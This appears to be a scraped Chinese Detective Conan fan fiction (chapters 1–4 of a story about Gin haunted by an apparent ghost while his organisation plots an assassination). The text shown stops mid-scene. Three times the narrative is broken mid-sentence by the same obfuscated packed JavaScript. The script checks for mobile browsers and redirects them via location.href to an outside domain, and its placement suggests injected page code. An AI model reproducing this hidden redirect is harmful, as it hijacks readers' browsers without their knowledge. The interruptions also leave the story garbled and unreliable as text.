《琴酒的阴湿鬼男友》 1. Ch01. 鬼魂的怒火 《琴酒的阴湿鬼男友》 /系田 夜深人静,一个身影在废弃建筑的顶楼天台鬼鬼祟祟。 是伏特加。 他从硕大的背包里一样样东西往外掏:金色小香炉,盐烤青花鱼、味增汤、热气腾腾的米饭,最后是个原木相框。 “抱歉啊兄弟,现在才能来看你。” 前两天米花经历了一场台风,聒噪的蝉鸣少了,地上多了许多风干的昆虫尸体。 伏特加用脚把尸体扫开,祭祀用的东西按顺序摆好,点燃根细长的香插进香炉,又打开特地带来的苏格兰威士忌。 他给自己倒一杯,另一杯泼在地上。 “嘶呀——嘶呀——” 残留余热的风刮过侧脸,远方的蝉齐齐叫起来。那声音嘶哑悲戚,仿佛也在为逝去的同伴们哀悼。 “兄弟安心吧,大哥已经查出黑麦是FBI派来的老鼠,昨晚一枪毙了踹下悬崖,我两只眼睛看得可真哩。” 灰色的烟雾从香炉中冉冉升起,笼罩着相框,像给苏格兰温和的笑脸蒙上层纱。 伏特加注视着失神,好半会儿才如梦初醒,开始手往怀里掏。 他从西装内侧袋掏出方玫红色手帕,小心翼翼展开,偶像元气满满的笑脸出现在眼前,伏特加沉重的心情也跟着松快些。 “你上次不还说想要洋子小姐的签名照吗?我这个做哥的怎么能让小弟失望?你等着,现在就把压箱底儿的藏品烧给你哈。” 伏特加点燃打火机,噗嗤一声,橘红色的火苗照亮了黑暗。 “不过,你得答应我好好收藏。要是敢弄皱弄坏,下次再见,我可要你往死里打!” “说起来……那时候我们都已经死了啊。” 伏特加呢喃着,喉头哽了下,手慢慢靠近照片。 毕竟是最心爱的收藏,哪儿这么容易割舍?但当他抬头,目光触及苏格兰和煦的笑脸,两人相处的点滴也像潮水涌现出来—— 他近两个月才跟苏格兰熟悉。 干他们这行,危险性高、私密性强,要交到知心好友简直是天方夜谭。 伏特加虽然身为Top Killer琴酒的手下,本身能力却很一般。原本电脑技术还过得去,自从宾加加入,唯一的优势也荡然无存。 伏特加知道,很多人都在背后叫他“琴酒的狗”。 渐渐地,他开始怀疑自己存在的意义。 苏格兰就在这时悄然降临。 跟他进了同一个组织,喜欢着同样的偶像,身为后辈,人又很谦虚好学…… 如此种种,让伏特加不自觉把对方当成弟弟照顾。 对啊,签名照可以再有,怎么能让苏格兰在底下遗憾? 伏特加咬咬牙,猛地用打火机凑近照片。眼看那火舌要舔上洋子小姐的裙摆,一阵狂风不期而至。 哗—— 那风把火苗吹得东倒西歪,下一秒竟硬生生灭了! 伏特加不信,再试。每次打火机都在要点燃照片时罢工。 “!” 他隐忍许久的泪水终于像两条小溪汨汨淌下。 “兄弟,你在吧?在就吱一声!” 伏特加焦急地环顾四周。 “吱——” 天台门打开,一道颀长的影子缓缓从黑暗走到月光下。 “这就是你跟我说的签售会?” 熟悉的声音在耳边炸响,伏特加回头,琴酒冷峻的脸映入眼帘,他屁股像弹簧,猛地从地上蹦起来。 “大、大哥,你怎么来了?” 琴酒快速扫一眼周围。这儿黑得伸手不见五指,别说什么偶像,除了他俩,连鬼影都不见一个。 他面无表情,“你最好给我个解释。” 伏特加见状,本能畏惧,“大,大哥……我不是故意要骗你。” “3。” “……” “2。” “我说,我说!” 随后,伏特加略去自己的迷惘,竹筒倒豆般把和苏格兰熟络的过程告诉琴酒。琴酒越听,眉头皱得越紧。 到最后,他出乎意料笑了。 “所以,你觉得黑麦死了,还是FBI的人,才敢来看苏格兰?我是不是该夸你对组织忠诚?” 琴酒薄唇上翘,脸上的坚冰顺势融化,透出种足以让人放下心防的和煦。 伏特加有点呆了,反应过来后,不好意思搓了搓手。 夸赞什么的……伏特加倒也没那么贪心。 不过,大哥怎么好像对苏格兰很熟悉?不是从不记死人的名字吗? 正这么想着,突然,琴酒拔枪直指他额头。 “!大哥!” 还沉浸在自己思绪的伏特加吓了一跳,反射性地举手投降。 “谁告诉你黑麦黑,苏格兰就一定白?他们不能狗咬狗吗!” 随着琴酒陡然拔高嗓音,两人周围的温度顿时降低好几度。哪怕是酷暑的夜晚,伏特加的后背还是被吓出层细密的冷汗。 “既然这样,我也有理由怀疑你勾结苏格兰,这次瞒着我,是故意来收集情报的。” 伏特加不可置信,“!大哥?” 琴酒当着他面拉下手枪的保险栓,“你还坚信苏格兰无辜?” 那近在咫尺的枪生生把伏特加的额头压出个小坑,心跳声在他的耳内回荡,扑通,扑通,一声比一声剧烈。 伏特加用余光瞥了眼苏格兰的照片。 温暖的、模糊的、曾给过他许多力量的。 他意识到自己其实很怕死。 他吞了口唾沫,在裤缝的双手紧握成拳,仿佛要从胸腔挤出仅剩的勇气。 “对,我就是相信。” 时间在这一刻凝固。蝉鸣啊、微风啊,仿佛都离伏特加远去。 琴酒表情阴郁地盯着他,不知过了多久,嗤一声放下枪,“很好”,转身二话不说踹翻了贡给苏格兰的香炉。 哐当—— 香炉里烧了不到1/3的香刹那熄灭,细碎的香灰把照片上的苏格兰染得灰头土脸。 同时,天台躁动。一阵突如其来的狂风,原木相框、威士忌的酒瓶都被吹得七零八落,连伏特加都控制不住踉跄一下。 是地震?还是苏格兰的灵魂被触怒了? 琴酒站伏特加面前,银白长发如鹅毛大雪飞舞,细长眼里泛着摄人的绿光,配合俊美的脸庞,整个人看起来像从地狱爬上来的玉面修罗。 修罗会怕鬼吗? “从明天开始,你不用再来接我。” 琴酒大步流星经过伏特加,扔下这句。 “……” 伏特加愣愣站在原地,说不出话。直到楼下引擎声响起,他才如梦初醒,东西都来不及收,急匆匆跑到天台边往下望。 楼下,琴酒开着他心爱的保时捷鬼魅般驶入无尽黑夜。 楼上,伏特加望眼欲穿。目送琴酒离开的不止是他,还有另一道阴沉的视线,另一个…… “人”。 * 琴酒回到公寓,进门前按惯例谨慎地观察周围。 没什么特别,顶多背后的穿堂风比平时猛烈。难道是前两天台风的余波? 他在玄关脱了黑色长款风衣,挂上立式衣架时,眼里积聚的乌云还远未消散。 “该死。” 琴酒生气的不是伏特加,而是没能及时察觉伏特加跟苏格兰私 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004646|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下来往的自己。 整整两个月。 仅仅两个月,伏特加那家伙就对苏格兰掏心掏肺,不但学会顶嘴,连死都不怕了! “真是长本事呵。” 琴酒打开空调,调到24℃,又把电视新闻当作背景音。 他翘腿坐在黑色的漆皮沙发上,闭眼复盘。 最近两月,他们的任务确实出过几次纰漏,好在最后都能化险为夷。 这其中有没有伏特加的“功劳”?是不是他说漏嘴后,苏格兰又转述给了黑麦? 琴酒有节奏地用指节敲击膝盖。 出现在脑海的『黑麦』二字在琴酒心中泛起涟漪,他的思绪也一起回到昨晚处决老鼠的时刻…… 悬崖边风大雨大,后方安全无虞,前面却是万丈深渊。人站在两者交界,像断了线的风筝,稍有不慎,就会粉身碎骨。 尽管如此,琴酒面前的男人依旧笑得桀骜不驯,仿佛不知道死亡将至。 如果黑麦没被五花大绑,长发像纸一样糊在脸上,这一定是次有效耍帅。 琴酒无动于衷,即将扣下扳机,那男人却终于忍不住跨越安全距离,嘴唇凑到他耳边,用他最讨厌,自以为亲昵的语气说:“真狠心呐Gin,我做鬼也不会放过你。” “呵,我连人都不怕,还会怕鬼?” 空旷的客厅回荡着琴酒冷酷的嘲讽,一阵犹带余热的风滑过耳畔,仿佛这句话被谁暗中听了去。 啪嗒—— 轻微的响动也没能逃过琴酒敏锐的耳朵,他倏然睁眼,电视里的女主播还在孜孜不倦地播报新闻: “为进一步保障国民的人身和财产安全,现任警视监百田陆朗先生透露,日本将着手与各国警方共同研发全球性罪犯识别系统……” 电视没问题,下一秒,空调莫名其妙停了。 原本嗡嗡的机器运作声消失,满室过分凉爽的空气却尚存,配合女主播字正腔圆的播报,有种令人胆寒的微妙。 “啧。” 琴酒起身走进储藏室,不一会儿拿着工具箱去而复返。但他没想到,再次走进客厅,里面居然一片漆黑。 空调、电视,都没了动静。唯独从窗户缝隙漏进的微风还发出些响声。 是电力超负荷跳闸了? 因为做过许多暗杀、潜入,琴酒的夜间视力非常优秀。他没有阻碍地摸黑走到沙发边,从茶几上取下正在充电的手机。 屏幕亮起,电量还剩5%。 琴酒打开手电筒,快速走到玄关,拖了把椅子,赤脚站上去打开总闸。 他拿手机靠近,一根根排查线路,谁知岌岌可危的电量在这时告终,随着厂商刺眼的图标,屏幕一暗,彻底关机。 整个客厅漆黑、安静,琴酒的感官被五十倍放大,连自己的呼吸声都清晰可闻。 他站在椅子上身体前倾,突然一股森冷的气息像潮水从背后袭来。那潮水里伸出只手,隔着单薄衬衫,夹带捉弄跟恐吓,沿他的尾椎骨一截截往上摸。琴酒屏住呼吸,皮肤起了层细小疙瘩,腰腹肌肉一并收紧。 “谁在那儿!” 琴酒很清楚,房间里除了自己没别人。可这感觉太诡异,他眼疾手快往后一抓,只拽住一片被风掀起的衣角。 恰在这时,空中的乌云散开,月亮悄悄露出了脸。 借着月光,琴酒目光锐利地望向旁边窗户,玻璃上除了他的脸,似乎还映出一团模糊的白影。他摸到电源开关,带着满腔被轻慢的怒气用力往上推! 啪嗒—— 温暖的灯光顷刻间充满客厅每个角落。 电箱里的保险丝完好无损,琴酒背上阴冷的感觉也随着窗户上那团白影一起消失了…… 2. Ch02. 鬼魂、纸团和油漆桶 《琴酒的阴湿鬼男友》 /系田 琴酒睡得很不安稳,那种被窥视的感觉悬浮空中,融于空气,如影随形。 到了后半夜,他不得不跳下床,神经质地检查公寓的每个角落。 结果一无所获。 第二天,琴酒顶着两个硕大的黑眼圈站在穿衣镜前。他皮肤白,眼下的乌青格外明显,配合阴郁的脸色,让他看上去像是索命的厉鬼。 琴酒下楼,正好碰上来视察的公寓管理员。管理员对这位顶楼住户的印象不错—— 住在象征财富的顶层,有一辆古董级别保时捷,有钱却低调,身材高挑,长相也很俊朗。 如此种种,简直是造物主的偏爱。 谁又能不喜欢长得好看的人呢? 他笑容满面地跟对方打招呼。 “早上好啊,黑泽先生。昨晚没睡好吗?” 琴酒点点头,“嗯,工作有点忙。” 管理员又说了些“注意身体”之类的套话,原以为两人要像往常般擦肩而过,对方却出乎意料叫住他。 “听说接下来还有几场台风,我们的用电应该不会受影响?” 说起来,两条街外的小区确实大面积停电了。 管理员拍拍胸口,自信一笑:“放心好了黑泽先生,我们每年台风季前都会加强检修维护,确保各位的居住体验。”他眨眨眼,颇为暗示地总结,“毕竟,一分价钱一分货嘛~” “那就多谢了。” 琴酒告别管理员,唇上礼貌的微笑褪去,换上一副漠然表情。 看来昨晚公寓楼的供电一切正常,不正常的只有自己这间。 他想到昨晚那鬼魅般寒凉,飞快出现又消失的触碰,心底油然升起一股烦躁。 他眉头微皱,一出自动门,旁边绿化带等候多时的伏特加便迎上来。 “早上好大哥,我来接你了!” 琴酒脚步不停,“你听不懂我昨晚的话?” 伏特加面露难色,略厚的嘴唇一张一合,像是想说什么。 琴酒不动声色慢下脚步等了会儿,可伏特加“我……”了半天,脸都憋红了,什么有用的话都没说出来。 这家伙根本没意识到问题的严重性。 琴酒从鼻腔憋出声冷哼,三两步把人甩在身后。等进了停车场,他自顾自坐到驾驶座,车门一关,猛踩油门。 轰—— 那辆价格不菲的保时捷像离弦的箭冲出去,只留伏特加站在原地,直愣愣地吃了一嘴尾气,傻眼…… * 伏特加穿着被上班高峰地铁挤皱巴的西装,站在雄伟的总部建筑前抬头仰望,脸上一副苦哈哈的表情。 待会儿该怎么跟大哥相处?难道必须违心承认苏格兰是卧底? 伏特加深深叹了口气。 他踌躇地走到地下停车场,基安蒂和科恩早等在那里。 基安蒂一身哥特式深蓝色蕾丝裙装,百无聊赖地拨弄手腕上的铆钉宽手镯。 “真是的,到底还要让老娘等多久?” “耐心点吧基安蒂。有时候我真不知道你怎么能当狙击手。” 科恩面无表情,最后的吐槽声音很低,却依旧没躲过基安蒂敏锐的耳朵。 暴脾气的女人转过头,朝自己的搭档猛挥拳,“哈?你说什么?有本事再说一遍!” 科恩不喜欢和基安蒂吵架,因为他总是惨败那个。他眼睛一转,捕捉到站在角落的伏特加,如蒙大赦说:“喏,伏特加不是来了吗?” 伏特加不情愿地从阴影走到微光里。 基安蒂瞥他一眼,兴趣缺缺,“怎么就你一个,琴酒呢?” 大哥还没来? 伏特加环顾四周,确实没有琴酒那抹银黑的身影。可大哥比他早离开这么多,他还错过了三趟地铁,按理说,大哥早该到了。 “喂?跟你说话呢!”基安蒂抱着胳膊,不耐烦地努嘴催促。 “……”伏特加语塞。 “噢,琴酒的话,之前发消息说要晚到一会儿。” 基安蒂和伏特加的视线一瞬间聚集到科恩脸上。 基安蒂狐疑地挑挑眉,“‘之前’是多久前?” “大概二十分钟。” 话音刚落,砰—— 基安蒂蓄谋已久的拳头狠狠砸在科恩胸口,科恩痛得倒退一步,面容扭曲。 “那你早干什么去了!” 基安蒂泄了火,转头看向伏特加,“不对啊,这种事琴酒不都让你来通知吗?” 伏特加面色一僵,垂在裤缝边的手紧握成拳。他不想让组里的人知道自己跟大哥闹了矛盾,更不想失去最先的知情权。 他若无其事哈哈一笑:“啊对,大哥确实临时有事,估计还有好一会儿。” 科恩探究地望着他。 这时,地下停车场响起一阵低沉的引擎声,那声音由远及近,直到通体漆黑的保时捷映入大家眼帘。 琴酒打开车门下车,穿一身熟悉的长款黑风衣出现。 基安蒂看看腕表,时针和分针分毫不差地指向九点。她啧了声:“真可惜,还以为能敲你一顿。” 琴酒勾唇一笑,眼里全是对自己车技的满意,“下次还有机会。” “切——” “不过你干什么去了?伏特加刚还说你有好一会儿。” 科恩连忙捅基安蒂的胳膊,示意她不要多嘴。 琴酒和他们不同,不仅是有代号的成员,更是颇受“那位先生”器重的管理层,即使被交付什么机密任务也不足为奇。 琴酒扫视全场,目光经过伏特加时骤然冷淡,只一眼,就让伏特加像站在扫描机前,通体生寒,毫无隐私可言。 大哥一定知道他为什么撒谎! 半晌,琴酒饱含深意的目光挪开,漫不经心回答基安蒂:“也没什么,就是挡风玻璃不小心沾到鸟屎,去洗了趟车。” “原来是这样,”基安蒂幸灾乐祸笑了两声,“那你还真惨,回家路上不如去买个彩票?” 闲聊结束,到了严肃的布置任务环节。 昨晚的新闻在组织内部引起骚动。根据可靠情报,这所谓的“罪犯识别系统”十分强大,无论罪犯作何等伪装,甚至整容,都能一秒识破。 对组织而言,这可是不亚于九级地震的坏消息。他们必须在系统研发成功前将其摧毁,至于那由日本警方派直升机迎接的专家,最好死无葬身之地! “……希望你们每个人都百分百了解这次任务的重要性。Boss选择我们而非朗姆,这样千载难逢的好机会绝不允许失手,以上。” 作为巨无霸的跨国性犯罪组织,勾心斗角从未停止,其中又以二把手朗姆和三把手琴酒最为激烈,不仅两个管理层,连底下人都感受到剑拔弩张的气氛,彼此见面时没个好脸。 琴酒的一番指令听得基安蒂热血沸腾,她脸色微红握紧了拳,“是!这次一定得让对面好好瞧瞧!” …… 等基安蒂和科恩肩并肩离开,停车场又恢复之前的平静。伏特加走到琴酒身旁,小心翼翼开口:“大哥……那我该干什么?你刚才好像没提。” 琴酒转头,冷冰冰盯着他,忽而伸手抚平他西装上的褶皱,嘲讽一笑:“从前都没发现你这么热衷撒谎。这样的你,我怎么敢布置任务?” 伏特加猛然抬头,对上琴酒冷漠的浅绿色眼眸,一瞬间如坠冰窟。 * 傍晚,伏特加失魂落魄地在走廊上准备回家。 “你看起来脸色很差啊~” 他抬头,一个身材高大,小麦肤色,满头玉米辫的男人映入眼帘。 是宾加——朗姆大人那派的。 伏特加立刻警惕起来,“有事吗?” “听说你今早不是跟琴酒一起来的。怎么,你主人终于准备舍弃你这条没用的狗了?” 这话成功戳痛伏特加敏感的神经,他冲上去一把拽住宾加的衣领,“你说什么?” 他手背爆出的青筋泄露此刻愤怒的心情。宾加却若无其事用另一只手拽住他的拳头,脸上笑容轻蔑,“我有说错吗?你的黑客技术不是被我吊打?” 伏特加眼神晃了晃,如火焰般的气势骤然弱下去。是啊,宾加出现后,连自己引以为傲的信息技术都变得不值一提。 见状,宾加的笑意更深。他虚伪地安慰伏特加,“不过你也不用太伤心,琴酒能看上你,说明他的眼光也不怎样。你们还是很适配的嘛。” 明明是讽刺伏特加的话,不知为何,宾加最后竟有些咬牙切齿。 “那还真是多谢你夸赞了——” 一道低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004647|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉的嗓音从远处传来,宾加身体一僵,顺势把一个小纸团塞进伏特加手里。 “?” 这是什么? 没等伏特加反应,琴酒已经大步流星靠近。 宾加:“可真不要脸。” 琴酒瞥一眼身旁萎靡的伏特加,勾唇浅笑:“那位‘眼光很好’的朗姆大人好像到现在都没给你布置过任务,是你还不够格吗?” “哈?你他妈放屁!” 宾加脸色微变,暴喝一声朝琴酒挥拳。他们身高相当,琴酒稳稳接住他的拳头,面无表情提醒:“别忘了,我和你心爱的朗姆大人都是管理层。” 宾加挣扎了下,手却脱不开琴酒的桎梏,他气得整张脸都扭曲变形,一字一顿从牙缝里挤出来,“你也就现在能嘴硬了,琴——酒——” 琴酒审视宾加,居高临下笑笑:“那就让我们拭目以待。” 他松开手往前走两步,发现伏特加没跟上,又不耐烦地回过头:“愣着干什么?不知道这次的任务很紧急吗?还要我过去请你?” “噢噢,好的!”伏特加如梦初醒,三两步朝琴酒跑去。 片刻,走廊里空荡清冷,再没有其他人。宾加转过头,干净到反光的黑曜石墙壁映照出他憎恨的脸。 “琴酒——你给我等着!” * 夜幕降临,琴酒和伏特加勘察完即将执行暗杀任务的地点,一前一后走在霓虹灯照耀的街头。 伏特加注视琴酒高挑的背影,深呼吸两次鼓足勇气,“大哥?”他手掏进裤袋,想把之前宾加给他的纸团上交,却惊讶地发现那里空无一物。 怎么会?明明几分钟前他还检查过的! 伏特加赶忙低头四顾。 前方的琴酒停下脚步回头,见伏特加一副没头苍蝇的冒失模样,好不容易压下的怒火又重新泛上来。 “又是什么东西丢了?” “没有,什么都没掉。”伏特加矢口否认。 现在他跟大哥的关系还没缓和,可不能再出什么岔子。伏特加藏好汗湿的掌心,强装镇定走向琴酒。 两人肩并肩走了一段,琴酒冷不丁开口:“为什么当时不反驳?” 伏特加脑海里立刻浮现出宾加趾高气昂的模样,原本狂跳的心脏如坠千斤。 “……他说得也没错。” 琴酒静静注视伏特加一会儿,把对方丧气的模样尽收眼底,恨铁不成钢地扔下一句:“怪不得会被苏格兰趁虚而入。” 浓重的油漆味钻进鼻腔,两人斜上方,施工队正在给建筑外墙上新漆。琴酒看都不看地从下面路过,谁知这时,脚手架上的工人朝旁边一退,装了半桶的油漆猛地往外翻倒! 哗—— 轻微的响动引起琴酒注意,他快速抬头。 “大哥,当心!” 一股蛮力从后方拽住他的手,他不自禁打个激灵。好冰,像是在潮水里浸泡许久的,完全没有一点温度。 和昨晚一模一样。 琴酒被拽得后退一步,那装了油漆的桶落不偏不倚落在脚边,如血的红漆在他漆黑的皮鞋面上溅了几滴。 琴酒猛地冷下脸甩开伏特加的手,厉声道:“你是谁!” “……” 伏特加被吓了一跳,脑袋懵懵的,光了解现场情况就用了几秒—— 刚才好像是油漆桶掉了下来,他为了救大哥就伸手拽了一把。 但他真能有这么快的反应速度吗? 伏特加不可思议地盯着自己的手。 “回答我!” 琴酒冷冽的声音唤回伏特加游离的意识,他脱口而出:“大哥你怎么了?我是伏特加啊。” 琴酒目光锐利地打量伏特加。 “实在抱歉,您没事吧?” 附近的负责人三两步跑过来确认琴酒的情况,脚手架上的工人也一副做错了事,惊恐的模样。 琴酒的审视被打断。 微风恶作剧般吹起琴酒的发丝,他冷着脸抚上刚才被抓的手腕,苍白的手背上起了一层细小的鸡皮疙瘩。 伏特加还没从被琴酒吼的委屈中缓过来,他抿了下唇,想拿出湿纸巾帮琴酒擦皮鞋,手伸进裤袋却蓦地僵住。 是一团纸。 那个宾加硬塞给他,莫名消失的纸团居然又出现了! 3. Ch03. 鬼魂的监视 《琴酒的阴湿鬼男友》 /系田 琴酒回公寓后不久,接到贝尔摩德的电话。 “有事?” “我是不是该恭喜你马上要把朗姆踩在脚下?” 琴酒勾唇一笑,左手指节有节奏地敲击膝盖,“你人在国外,消息倒很灵通。比起这个,我更好奇你为什么也讨厌朗姆?” 听筒里女人慵懒的声音瞬间咬牙切齿:“这不用你管,你只要知道敌人的敌人是朋友。” “了解。” “对了,你最近的精神状态怎么样?我听说……” 琴酒唇上的笑顿时隐没,眉毛皱得能压死苍蝇。 伏特加那家伙! “……该不会是你处决了太多老鼠,被鬼缠上了吧?”贝尔摩德的声音透着幸灾乐祸,还有一丁点儿真切的关怀。 琴酒不耐烦地打断她:“虚无缥缈的话少说,你不是还在宣传新电影?好好去过你的美国时间。” 琴酒掐断电话转头,外面的风呼啸着,窗上映出他阴沉的脸色。 别说世界上没鬼,就算有,他也要把对方再碎尸万段试试! 这晚琴酒照样关了全部灯睡觉,公寓里没再出现什么诡异事儿,只是半睡半醒间,他一直做着黑麦坠崖前的梦—— 大雨滂沱的悬崖边,被五花大绑的男人戏谑地笑着凑近他耳边: 『就算我变成鬼也不会放过你。』 * 两天后,黄昏 警用停机坪附近停了好几辆警车,高木坐在其中一辆的驾驶座上,身旁是同事佐藤美和子。 高木冷不丁开口:“佐藤警官,你相信吗?” “什么?” “那个跨国研发的罪犯识别系统,连整了容的都能认出来?” “技术方面的问题我不懂,但如果真做出来,我会感谢这群人的。毕竟世界上少一个罪犯,普通群众就多一分安全。” 佐藤说这话时目视前方,夕阳的光洒进她眼里,孕育出希望。高木只是在旁边看着,喉咙就热腾腾的,心脏也跟着扑通乱跳起来。 他暗恋佐藤好久了。 或许是听见高木鼓噪的心跳,佐藤警惕转头:“干什么?” 高木的脸瞬间红得像秋后成熟的苹果,尴尬地躲避佐藤的目光,挠着头,“啊——没事,就是觉得佐藤警官说得真好啊——” 超绝不经意拖长的音调显出高木的慌乱,没等话音在警车里消散,无线电传来上司冰冷的警告:“高木,出任务期间禁止闲聊。” “!” 这下高木的脸不止是秋后的苹果,简直像煮熟的虾,头顶都能冒出热气! 他后知后觉想起无线电通着,在场的全部同事都能听到他愚蠢的话。 他受刺激般手舞足蹈,“呃——目暮警官,其实那个我想说,执行完这次的任务,局里的车能不能更新一下?感觉有些刹车都不灵了,有溜车的危险啊——” 白鸟冷静的声音插进来:“确定不是你自己没停好吗?” 高木一脸有理说不清的悲壮。毫无疑问,他这次在佐藤面前丢脸丢大发了,谁知佐藤却在这时噗嗤一声笑出来。 “佐、佐藤警官,连你都嘲笑我……” “抱歉抱歉。” 四目交接,高木偷偷打量佐藤微微泛红的脸庞,心里除了无奈,还有如蜜一般的甜蜜。 这些秘不可宣的欣喜,就是暗恋一个人时才有的心情吧? * 同一时间,距离停机坪较近的建筑顶楼天台。 琴酒匍匐在低矮的水泥墙后,面前是早就架起的狙击枪。 “吵死了!”耳机里突然传来基安蒂烦躁的抱怨。 “真不知道这群条子有没有脑子,执行任务前还有时间调情!” 琴酒的耳机里夹杂着滋滋电流声,时而是楼下警察模糊的调度,时而是同伴在说话。 基安蒂话锋一转:“不过我们有多久没见过这种大场面了?” “自从黑麦的射程达到700码之后吧,有什么要紧的暗杀任务就都派他去了。”科恩语气没什么起伏地回应基安蒂。 “科恩!你真是哪壶不开提哪壶,快别提那个老鼠,免得脏了老娘的耳朵。” “是吗?我觉得单论射击技术,他确实很牛。还有经常和他搭档的男人也很不错。” “噢,你是说那个苏格兰?那家伙是还可以,长得顺眼,人也比较谦虚。” 耳机里的基安蒂明显聊嗨了,科恩也肆无忌惮提出那个被视为琴酒“逆鳞”的男人的名字。 琴酒其实一直知道,科恩这个人对自己没有忠诚。 他瞥了眼身旁一直故作淡定的伏特加,那晚失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004648|194016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序的感觉再次涌上心头,或许让他讨厌的名字还得另加一个。 琴酒挑挑眉,颇为恶意地开口:“两个死人而已,有什么好聊的。” 此话一出,伏特加壮硕的身体不由震颤了下,琴酒却顾不上了,因为似曾相识的潮湿、恶寒猛兽般从后面扑过来。他反射性朝后看去,靠近天台铁门的位置照不到阳光,留下一片阴影。那阴影里似乎站着一团白雾,就这么静静地,面无表情地监视着他。 琴酒:“……” “大哥,你怎么了?” 伏特加真是个好人,在听了琴酒那番充满攻击性的话后,还关心他的情况。 琴酒不觉愧疚,本来做他们这行,时刻谨慎是保命之本。 他眨了眨眼,那团白影就那么消失了,又或许从未真正出现过,只是他连续几天睡眠不足产生的幻觉。 “没事。” 耳机里基安蒂的絮叨还在继续,“对了Gin,待会儿我能直接开枪杀了那个专家吗?TA不是你的专属猎物吧?” “如果你有本事的话。” 伴随着耳机里基安蒂兴奋的欢呼,琴酒言简意赅结束话题,可伏特加那道执着的视线依旧粘在琴酒侧脸,他掐掉麦克转头,没好气地问:“怎么了,我刚才的话让你生气了?” 伏特加有些震惊地望着他,“怎么会……我就是在想大哥的射击这么好,是哪位师傅教的?” 这话并没有让琴酒的脸色好转,反而更加阴沉,“怎么突然感兴趣?是谁跟你说了什么?” 伏特加连忙摆手,“没,没有,没人跟我说过,只是有点好奇……” 琴酒静静地盯着他,恼人的微风拂过,这才意识到自己出了身冷汗。 是被刚才的幻觉吓的?还是因为伏特加冷不丁提起了陈年旧事? 琴酒不知道,但有件事他很确定——伏特加这家伙完全不擅长撒谎。 哗——哗—— 这时,两人头顶响起震耳欲聋的轰鸣,准备降落的庞然大物刮起一阵飓风,琴酒银白的长发,黑色的风衣下摆,还有地上的草木都跟着左右摇摆。 “等做完事再说。”琴酒撂下这句,耳机里传来条子上司瞬间紧绷的声线,他也重新戴好麦克风。 “各单位注意,目标人物到达。 ” 目暮&琴酒:“准备实施保护/射击!” 4. Ch04. 鬼魂的救援 《琴酒的阴湿鬼男友》 /系田 漆黑的直升机在低空悬停,螺旋桨引起的气流卷得地上的尘土碎石漫天飞舞。 片刻,直升机缓缓下降,随着放下的起落架最终停稳。 “各单位注意,目标人物到达,注意保护!” 无线电里目暮十三的命令中气十足。 舱门开启,首先出现的是个穿深蓝西装的男人,他身材高挑,有一双猫儿似狭长的眼睛,唇边是标志性的八字胡。 诸伏高明被眼前的阵仗吓了一跳,同时也更坚定要保护身后之人的决心,毕竟那是他找到弟弟的唯一希望。 高明的弟弟景光也是名警察。从警校毕业后,该是接到机密任务,不方便现身,只每月固定时间发匿名信息报平安。但这平安消息也好久不来了。 Hiro,你到底在哪儿?还……好好活着吗? 诸伏高明目光凌厉地扫视周围。 琴酒在瞄准镜里一瞬间和他四目交接,不过对方毫无察觉罢了。 “能动手了吗?”耳机里的基安蒂按捺不住催促。 “别打草惊蛇,我们的目标是一枪击毙那个专家。” “好吧好吧。” 说话间,蓝西装的男人走下飞机,身后的棕发女人露出小半张脸。只一眼,琴酒就确定她是这次的任务目标。 条子和普通群众很好区分——后者不会在放松时还下意识身体紧绷。 “基安蒂,有本事就上。” “嗨哟——” 基安蒂兴奋地吹记口哨,口香糖咀嚼得更起劲了。 琴酒勾唇一笑,也把枪口对准不远处无知无觉的女人。瞄准镜在这时起了层雾,让目标变得模糊不清。 怎么会?他刚才明明擦得很干净。 琴酒心里涌起阵不祥预感,仿佛有人在附近试图阻挠他的行动。 他皱着眉争分夺秒再清理一遍。因为这点儿时间差,女人已经走出机舱。 “那个,佐藤警官……我们的车是不是有点问题?”耳机里曾引发骚动的蠢货警察突然说话,紧接着是一阵刺耳尖叫。 “诶——车怎么自己动起来了!” 琴酒没在意,配合女人走路的节奏,扣下扳机。 从枪膛射出的子弹眼看要击中目标,突然一辆警车从旁边冲了出来!瞄准镜里,琴酒把蠢货条子惊慌的模样一览无余。 砰—— 那子弹正中警车玻璃。 “当心!” 子弹射穿玻璃的瞬间,副驾驶的佐藤率先察觉危机,她本能地朝还在试图控车的高木扑过去。 扑通一声,两人倒作一团。佐藤在高木上方,清晰看见对方的脸一点点变红的全过程,高木的声音也像绵羊般变得柔软,“佐、佐藤警官……” 他当即想扶着佐藤的腰坐起来,却再次被对方强硬地按下去。 “别动!” 因为刚才的射击,他们所在的警车窗户被完全震碎。此刻,他们就是暴露在罪犯眼下最明晃晃的目标! 